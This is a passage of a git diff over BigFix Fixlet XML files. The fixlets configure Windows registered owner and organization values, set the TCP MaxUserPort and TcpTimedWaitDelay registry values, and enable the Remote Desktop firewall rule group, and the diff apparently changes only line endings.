-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure Registered Organization and Owner
-  ID       : 86
-  Author   : danielheth
-  Domain   : BES
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure Registered Organization and Owner</Title>
-    <Description><![CDATA[<P>This task will configure the RegisteredOrganization and RegisteredOwner string values within the registry.&nbsp; </P>
-<P>For Windows:&nbsp; These keys are located in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</P>
-<P>For Non-Windows:&nbsp; These will be stored within Client Settings.</P>]]></Description>
-    <Relevance>true</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-05-24</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 04 Sep 2012 14:21:38 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to configure values.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;Organization&quot; with description &quot;Please enter the name of your Organization (Ex: Moran IT):&quot; and with default value &quot;&quot;
-action parameter query &quot;Owner&quot; with description &quot;Please enter the Owner&apos;s name (Ex: Daniel):&quot; and with default value &quot;&quot;
-if {name of operating system starts with &quot;Win&quot;}
-  if {x64 of operating system}
-  	 if {parameter &quot;Organization&quot; != &quot;&quot;}
-		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOrganization&quot;=&quot;{parameter &quot;Organization&quot;}&quot;
-	 endif
-	 if {parameter &quot;Owner&quot; != &quot;&quot;}
-		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOwner&quot;=&quot;{parameter &quot;Owner&quot;}&quot;
-	 endif
-  endif
-  if {parameter &quot;Organization&quot; != &quot;&quot;}
-	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOrganization&quot;=&quot;{parameter &quot;Organization&quot;}&quot;
-  endif
-  if {parameter &quot;Owner&quot; != &quot;&quot;}
-	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOwner&quot;=&quot;{parameter &quot;Owner&quot;}&quot;
-  endif
-  if {parameter &quot;Organization&quot; != &quot;&quot;}
-	continue if {(value &quot;RegisteredOrganization&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) = (parameter &quot;Organization&quot;)}
-  endif
-  if {parameter &quot;Owner&quot; != &quot;&quot;}
-	continue if {(value &quot;RegisteredOwner&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) = (parameter &quot;Owner&quot;)}
-  endif
-else
-  if {parameter &quot;Organization&quot; != &quot;&quot;}
-	setting &quot;Registered Organization&quot;=&quot;{parameter &quot;Organization&quot;}&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
-  else
-    setting delete &quot;Registered Organization&quot; on &quot;{now}&quot; for client
-  endif
-  if {parameter &quot;Owner&quot; != &quot;&quot;}
-	setting &quot;Registered Owner&quot;=&quot;{parameter &quot;Owner&quot;}&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
-  else
-    setting delete &quot;Registered Owner&quot; on &quot;{now}&quot; for client
-  endif
-endif</ActionScript>
-    </DefaultAction>
-    <Action ID="Action231">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://danielheth.com/2012/05/30/how-to-tattoo-your-bigfix-endpoints/</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Registered Organization and Owner
+  ID       : 86
+  Author   : danielheth
+  Domain   : BES
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Registered Organization and Owner</Title>
+    <Description><![CDATA[<P>This task will configure the RegisteredOrganization and RegisteredOwner string values within the registry.&nbsp; </P>
+<P>For Windows:&nbsp; These keys are located in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</P>
+<P>For Non-Windows:&nbsp; These will be stored within Client Settings.</P>]]></Description>
+    <Relevance>true</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-05-24</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Sep 2012 14:21:38 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to configure values.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;Organization&quot; with description &quot;Please enter the name of your Organization (Ex: Moran IT):&quot; and with default value &quot;&quot;
+action parameter query &quot;Owner&quot; with description &quot;Please enter the Owner&apos;s name (Ex: Daniel):&quot; and with default value &quot;&quot;
+if {name of operating system starts with &quot;Win&quot;}
+  if {x64 of operating system}
+  	 if {parameter &quot;Organization&quot; != &quot;&quot;}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOrganization&quot;=&quot;{parameter &quot;Organization&quot;}&quot;
+	 endif
+	 if {parameter &quot;Owner&quot; != &quot;&quot;}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOwner&quot;=&quot;{parameter &quot;Owner&quot;}&quot;
+	 endif
+  endif
+  if {parameter &quot;Organization&quot; != &quot;&quot;}
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOrganization&quot;=&quot;{parameter &quot;Organization&quot;}&quot;
+  endif
+  if {parameter &quot;Owner&quot; != &quot;&quot;}
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOwner&quot;=&quot;{parameter &quot;Owner&quot;}&quot;
+  endif
+  if {parameter &quot;Organization&quot; != &quot;&quot;}
+	continue if {(value &quot;RegisteredOrganization&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) = (parameter &quot;Organization&quot;)}
+  endif
+  if {parameter &quot;Owner&quot; != &quot;&quot;}
+	continue if {(value &quot;RegisteredOwner&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) = (parameter &quot;Owner&quot;)}
+  endif
+else
+  if {parameter &quot;Organization&quot; != &quot;&quot;}
+	setting &quot;Registered Organization&quot;=&quot;{parameter &quot;Organization&quot;}&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+  else
+    setting delete &quot;Registered Organization&quot; on &quot;{now}&quot; for client
+  endif
+  if {parameter &quot;Owner&quot; != &quot;&quot;}
+	setting &quot;Registered Owner&quot;=&quot;{parameter &quot;Owner&quot;}&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+  else
+    setting delete &quot;Registered Owner&quot; on &quot;{now}&quot; for client
+  endif
+endif</ActionScript>
+    </DefaultAction>
+    <Action ID="Action231">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://danielheth.com/2012/05/30/how-to-tattoo-your-bigfix-endpoints/</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000 (3938).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000 (3938).bes
index 1c52fb754..9537f0cf5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000 (3938).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000 (3938).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure TCP: MaxUserPort to 60000
-  ID       : 3938
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2014-12-21T21:09:43
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure TCP: MaxUserPort to 60000</Title>
-    <Description>Configures TCP MaxUserPort to 60000 to allow for more user-mode application ports in the pool.</Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists (value &quot;MaxUserPort&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 60000)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-action uses wow64 redirection false
-dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;MaxUserPort&quot; /t REG_DWORD /d 60000 /F
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure TCP: MaxUserPort to 60000
+  ID       : 3938
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2014-12-21T21:09:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure TCP: MaxUserPort to 60000</Title>
+    <Description>Configures TCP MaxUserPort to 60000 to allow for more user-mode application ports in the pool.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (value &quot;MaxUserPort&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 60000)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+action uses wow64 redirection false
+dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;MaxUserPort&quot; /t REG_DWORD /d 60000 /F
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000.bes b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000.bes
index 1c52fb754..9537f0cf5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000.bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000.bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure TCP: MaxUserPort to 60000
-  ID       : 3938
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2014-12-21T21:09:43
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure TCP: MaxUserPort to 60000</Title>
-    <Description>Configures TCP MaxUserPort to 60000 to allow for more user-mode application ports in the pool.</Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists (value &quot;MaxUserPort&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 60000)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-action uses wow64 redirection false
-dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;MaxUserPort&quot; /t REG_DWORD /d 60000 /F
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure TCP: MaxUserPort to 60000
+  ID       : 3938
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2014-12-21T21:09:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure TCP: MaxUserPort to 60000</Title>
+    <Description>Configures TCP MaxUserPort to 60000 to allow for more user-mode application ports in the pool.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (value &quot;MaxUserPort&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 60000)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+action uses wow64 redirection false
+dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;MaxUserPort&quot; /t REG_DWORD /d 60000 /F
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ TcpTimedWaitDelay to 30 seconds (3937).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ TcpTimedWaitDelay to 30 seconds (3937).bes
index 1a5e68402..55451ecd2 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ TcpTimedWaitDelay to 30 seconds (3937).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ TcpTimedWaitDelay to 30 seconds (3937).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure TCP: TcpTimedWaitDelay to 30 seconds
-  ID       : 3937
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2014-12-21T21:09:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure TCP: TcpTimedWaitDelay to 30 seconds</Title>
-    <Description><![CDATA[Configures TCP TimedWaitDelay to 30 seconds to allow for faster reuse of closed TCP ports.&nbsp; Necessary on some high-volume servers such as VMWare VCenter or BigFix that may run out of available ports.]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists (value &quot;TcpTimedWaitDelay&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 30)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-action uses wow64 redirection false
-dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;TcpTimedWaitDelay&quot; /t REG_DWORD /d 30 /F
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure TCP: TcpTimedWaitDelay to 30 seconds
+  ID       : 3937
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2014-12-21T21:09:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure TCP: TcpTimedWaitDelay to 30 seconds</Title>
+    <Description><![CDATA[Configures TCP TimedWaitDelay to 30 seconds to allow for faster reuse of closed TCP ports.&nbsp; Necessary on some high-volume servers such as VMWare VCenter or BigFix that may run out of available ports.]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (value &quot;TcpTimedWaitDelay&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 30)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+action uses wow64 redirection false
+dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;TcpTimedWaitDelay&quot; /t REG_DWORD /d 30 /F
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop (3974).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop (3974).bes
index e49c10450..addf9aba4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop (3974).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop (3974).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure Windows Firewall: Allow Remote Desktop
-  ID       : 3974
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2015-02-04T14:11:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure Windows Firewall: Allow Remote Desktop</Title>
-    <Description><![CDATA[<P>Enables the "Remote Desktop" firewall group.&nbsp; Requires at least Windows Vista and an active Firewall to be relevant. </P>
-<P>NOTE: This is Relevant if the current state of "Remote Desktop" is disabled; but the fixlet only changes the local configuration.&nbsp; If the firewall rule set is controlled through Group Policy, this fixlet does not override.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
-    <Relevance>exists firewall whose (firewall enabled of current profile of local policy of firewall)</Relevance>
-    <Relevance>not rule group currently enabled &quot;Remote Desktop&quot; of firewall</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2014-04-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 04 Feb 2015 21:10:20 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-action uses wow64 redirection false
-
-waithidden netsh.exe advfirewall firewall set rule group=&quot;remote desktop&quot; new enable=Yes
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Windows Firewall: Allow Remote Desktop
+  ID       : 3974
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-02-04T14:11:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Windows Firewall: Allow Remote Desktop</Title>
+    <Description><![CDATA[<P>Enables the "Remote Desktop" firewall group.&nbsp; Requires at least Windows Vista and an active Firewall to be relevant. </P>
+<P>NOTE: This is Relevant if the current state of "Remote Desktop" is disabled; but the fixlet only changes the local configuration.&nbsp; If the firewall rule set is controlled through Group Policy, this fixlet does not override.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
+    <Relevance>exists firewall whose (firewall enabled of current profile of local policy of firewall)</Relevance>
+    <Relevance>not rule group currently enabled &quot;Remote Desktop&quot; of firewall</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-04-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 04 Feb 2015 21:10:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+action uses wow64 redirection false
+
+waithidden netsh.exe advfirewall firewall set rule group=&quot;remote desktop&quot; new enable=Yes
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop.bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop.bes
index e49c10450..addf9aba4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop.bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop.bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configure Windows Firewall: Allow Remote Desktop
-  ID       : 3974
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2015-02-04T14:11:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configure Windows Firewall: Allow Remote Desktop</Title>
-    <Description><![CDATA[<P>Enables the "Remote Desktop" firewall group.&nbsp; Requires at least Windows Vista and an active Firewall to be relevant. </P>
-<P>NOTE: This is Relevant if the current state of "Remote Desktop" is disabled; but the fixlet only changes the local configuration.&nbsp; If the firewall rule set is controlled through Group Policy, this fixlet does not override.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
-    <Relevance>exists firewall whose (firewall enabled of current profile of local policy of firewall)</Relevance>
-    <Relevance>not rule group currently enabled &quot;Remote Desktop&quot; of firewall</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2014-04-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 04 Feb 2015 21:10:20 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-action uses wow64 redirection false
-
-waithidden netsh.exe advfirewall firewall set rule group=&quot;remote desktop&quot; new enable=Yes
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Windows Firewall: Allow Remote Desktop
+  ID       : 3974
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-02-04T14:11:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Windows Firewall: Allow Remote Desktop</Title>
+    <Description><![CDATA[<P>Enables the "Remote Desktop" firewall group.&nbsp; Requires at least Windows Vista and an active Firewall to be relevant. </P>
+<P>NOTE: This is Relevant if the current state of "Remote Desktop" is disabled; but the fixlet only changes the local configuration.&nbsp; If the firewall rule set is controlled through Group Policy, this fixlet does not override.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
+    <Relevance>exists firewall whose (firewall enabled of current profile of local policy of firewall)</Relevance>
+    <Relevance>not rule group currently enabled &quot;Remote Desktop&quot; of firewall</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-04-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 04 Feb 2015 21:10:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+action uses wow64 redirection false
+
+waithidden netsh.exe advfirewall firewall set rule group=&quot;remote desktop&quot; new enable=Yes
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Create Desktop Shortcut (PowerShell) (25589).bes b/Sites/Windows Management/Fixlets/Fixlets/Create Desktop Shortcut (PowerShell) (25589).bes
index 805d67bc5..60284b0a6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Create Desktop Shortcut (PowerShell) (25589).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Create Desktop Shortcut (PowerShell) (25589).bes	
@@ -1,73 +1,73 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Create Desktop Shortcut (PowerShell)
-  ID       : 25589
-  Author   : CharlieJax
-  Domain   : BESC
-  Imported : 2018-11-30T11:56:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Create Desktop Shortcut (PowerShell)</Title>
